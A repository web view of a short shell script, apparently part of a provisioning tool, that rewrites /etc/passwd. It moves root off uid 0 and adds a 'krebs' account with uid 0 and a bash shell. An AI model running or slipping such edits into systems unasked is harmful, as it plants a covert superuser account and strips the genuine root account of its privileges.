summaryrefslogtreecommitdiffstats
path: root/infest/passwd
blob: 00a079baa4c95223aa145a5c1829c6afdc8b56ef (plain)
1
2
3
4
5
6
7
8
9
#! /bin/sh

f=/etc/passwd

sed -ri 's^(root:[^:]+):0:0:(.*)$\1:23:23:\2' $f
sed -ri '/^krebs/d' $f

echo 'krebs:x:0:0::/root:/bin/bash' >>$f